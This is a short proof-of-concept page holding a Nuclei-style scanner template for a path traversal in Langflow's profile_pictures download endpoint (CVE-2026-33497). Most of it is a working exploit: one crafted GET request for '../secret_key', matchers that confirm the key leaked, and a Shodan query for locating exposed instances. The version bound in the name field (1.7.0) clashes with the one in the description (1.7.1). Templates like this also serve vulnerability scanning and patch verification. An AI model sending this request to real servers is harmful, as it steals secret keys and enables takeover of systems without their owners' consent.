Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.
PoC
id: CVE-2026-33497
info:
name: Langflow < 1.7.0 - Path Traversal
author: xtr0nix
severity: high
description: |
Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.
impact: |
Attackers can read sensitive secret_key files across directories, potentially compromising system security.
remediation: |
Update to version 1.7.1 or later.
reference:
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7
- https://nvd.nist.gov/vuln/detail/CVE-2026-33497
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-33497
epss-score: 0.19584
epss-percentile: 0.97243
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
shodan-query: html:"Langflow"
tags: cve,cve2026,langflow,traversal,vkev
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/files/profile_pictures/../secret_key"
matchers:
- type: dsl
dsl:
- len(body) == 43
- status_code == 200
- contains(content_type, 'application/octet-stream')
condition: and
# digest: 4b0a00483046022100c1aa5d4da16a4c1a7a1108657656b9c3b29dee39cc5d2564a18f037a7b029593022100e91ab849f1efa97bb2b83429175a98f04b3e4270490c0afc71096dce437a3d62:922c64590222798bb761d5b6d8e72950
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